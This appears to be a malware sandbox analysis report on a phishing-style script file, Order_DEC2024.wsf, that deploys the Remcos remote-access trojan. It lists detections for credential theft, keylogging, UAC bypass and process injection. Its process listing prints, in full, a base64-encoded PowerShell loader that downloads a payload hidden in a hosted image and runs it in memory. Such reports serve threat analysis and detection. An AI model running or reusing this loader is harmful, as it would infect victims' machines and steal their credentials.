Edit tour
Windows
Analysis Report
Order_DEC2024.wsf
Overview
General Information
Detection
Remcos
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
System process connects to network (likely due to code injection or exploit)
VBScript performs obfuscated calls to suspicious functions
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
Yara detected VBS Downloader Generic
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Connects to a pastebin service (likely for C&C)
Contains functionality to inject code into remote processes
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Injects a PE file into a foreign processes
Installs a global keyboard hook
Maps a DLL or memory area into another process
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Silenttrinity Stager Msbuild Activity
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found decision node followed by non-executed suspicious APIs
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sigma detected: Script Initiated Connection
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w10x64
- wscript.exe (PID: 7264 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\Order _DEC2024.w sf" MD5: A47CBE969EA935BDD3AB568BB126BC80) - powershell.exe (PID: 7360 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $maremma = 'aWYgKCRu dWxsIC1uZS AkUFNWZXJz aW9uVGFibG UgLWFuZCAk UFNWZXJzaW 9uVGFibGUu UFNWZXJzaW 9uIC1uZSAk bnVsbCkgey Bbdm9pZF0k UFNWZXJzaW 9uVGFibGUu UFNWZXJzaW 9uIH0gZWxz ZSB7IFdyaX RlLU91dHB1 dCAnUG93ZX JTaGVsbCB2 ZXJzaW9uIE 5vdCBhdmFp bGFibGUnIH 07aWYgKCRu dWxsIC1uZS AkUFNWZXJz aW9uVGFibG UgLWFuZCAk UFNWZXJzaW 9uVGFibGUu UFNWZXJzaW 9uIC1uZSAk bnVsbCkgey Bbdm9pZF0k UFNWZXJzaW 9uVGFibGUu UFNWZXJzaW 9uIH0gZWxz ZSB7IFdyaX RlLU91dHB1 dCAnUG93ZX JTaGVsbCB2 ZXJzaW9uIE 5vdCBhdmFp bGFibGUnIH 07JG5lbmhv ID0gJ2h0dH BzOi8vcmVz LmNsb3VkaW 5hcnkuY29t L2R5dGZsdD Yxbi9pbWFn ZS91cGxvYW QvdjE3MzMx MzQ5NDcvYm tscHlzZXll dXQ0aW1wdz UwbjEuanBn ICc7JGFsdm 9yb3RhciA9 IE5ldy1PYm plY3QgU3lz dGVtLk5ldC 5XZWJDbGll bnQ7JGNob3 N0cmEgPSAk YWx2b3JvdG FyLkRvd25s b2FkRGF0YS gkbmVuaG8p OyRwZXJpZ2 9zYW1lbnRl ID0gW1N5c3 RlbS5UZXh0 LkVuY29kaW 5nXTo6VVRG OC5HZXRTdH JpbmcoJGNo b3N0cmEpOy RtZXhlcm90 byA9ICc8PE JBU0U2NF9T VEFSVD4+Jz skbHVwYW50 ZSA9ICc8PE JBU0U2NF9F TkQ+Pic7JG VuY2FyZGly ID0gJHBlcm lnb3NhbWVu dGUuSW5kZX hPZigkbWV4 ZXJvdG8pOy RuaXN0byA9 ICRwZXJpZ2 9zYW1lbnRl LkluZGV4T2 YoJGx1cGFu dGUpOyRlbm NhcmRpciAt Z2UgMCAtYW 5kICRuaXN0 byAtZ3QgJG VuY2FyZGly OyRlbmNhcm RpciArPSAk bWV4ZXJvdG 8uTGVuZ3Ro OyRjdW5ldG EgPSAkbmlz dG8gLSAkZW 5jYXJkaXI7 JGF1bGljaX NtbyA9ICRw ZXJpZ29zYW 1lbnRlLlN1 YnN0cmluZy gkZW5jYXJk aXIsICRjdW 5ldGEpOyRk ZWJpbGl0YW 1lbnRvID0g LWpvaW4gKC RhdWxpY2lz bW8uVG9DaG FyQXJyYXko KSB8IEZvck VhY2gtT2Jq ZWN0IHsgJF 8gfSlbLTEu Li0oJGF1bG ljaXNtby5M ZW5ndGgpXT skZWxlbWll aXJhID0gW1 N5c3RlbS5D b252ZXJ0XT o6RnJvbUJh c2U2NFN0cm luZygkZGVi aWxpdGFtZW 50byk7JGxl dmFkb3VyYS A9IFtTeXN0 ZW0uUmVmbG VjdGlvbi5B c3NlbWJseV 06OkxvYWQo JGVsZW1pZW lyYSk7JGVz Y290YSA9IF tkbmxpYi5J Ty5Ib21lXS 5HZXRNZXRo b2QoJ1ZBSS cpOyRlc2Nv dGEuSW52b2 tlKCRudWxs LCBAKCcwL2 ZoY3dvL3Iv ZWUuZXRzYX AvLzpzcHR0 aCcsICdiaW NoYW5jcm9z JywgJ2JpY2 hhbmNyb3Mn LCAnYmljaG FuY3Jvcycs ICdNU0J1aW xkJywgJ2Jp Y2hhbmNyb3 MnLCAnYmlj aGFuY3Jvcy csJ2JpY2hh bmNyb3MnLC diaWNoYW5j cm9zJywnYm ljaGFuY3Jv cycsJ2JpY2 hhbmNyb3Mn LCdiaWNoYW 5jcm9zJywn MScsJ2JpY2 hhbmNyb3Mn KSk7aWYgKC RudWxsIC1u ZSAkUFNWZX JzaW9uVGFi bGUgLWFuZC AkUFNWZXJz aW9uVGFibG UuUFNWZXJz aW9uIC1uZS AkbnVsbCkg eyBbdm9pZF 0kUFNWZXJz aW9uVGFibG UuUFNWZXJz aW9uIH0gZW xzZSB7IFdy aXRlLU91dH B1dCAnUG93 ZXJTaGVsbC B2ZXJzaW9u IE5vdCBhdm FpbGFibGUn IH07aWYgKC RudWxsIC1u ZSAkUFNWZX JzaW9uVGFi bGUgLWFuZC AkUFNWZXJz aW9uVGFibG UuUFNWZXJz aW9uIC1uZS AkbnVsbCkg eyBbdm9pZF 0kUFNWZXJz aW9uVGFibG UuUFNWZXJz aW9uIH0gZW xzZSB7IFdy aXRlLU91dH B1dCAnUG93 ZXJTaGVsbC B2ZXJzaW9u IE5vdCBhdm FpbGFibGUn IH07';$esc umar = [Sy stem.Text. Encoding]: :UTF8.GetS tring([Sys tem.Conver t]::FromBa se64String ($maremma) );Invoke-E xpression $escumar MD5: